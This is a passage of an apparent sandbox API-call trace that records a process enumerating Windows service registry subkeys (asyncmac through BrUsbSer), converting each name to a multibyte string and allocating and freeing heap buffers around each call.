lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0256.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.385] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0256.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0256.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.385] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0256.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0256.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0256.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.385] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.385] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0256.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0256.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.386] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0256.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0256.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.386] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0256.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0256.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.386] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0256.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.386] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0256.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.386] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.386] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0256.386] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0256.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.387] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0256.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0256.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.387] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0256.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0256.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.387] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0256.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0256.387] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.387] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.388] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0256.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0256.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.388] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0256.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0256.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.388] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0256.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0256.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.388] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0256.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0256.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.389] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0256.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0256.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.389] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0256.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0256.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.389] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0256.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0256.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.390] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0256.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0256.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.390] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0256.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0256.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.390] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0256.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0256.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 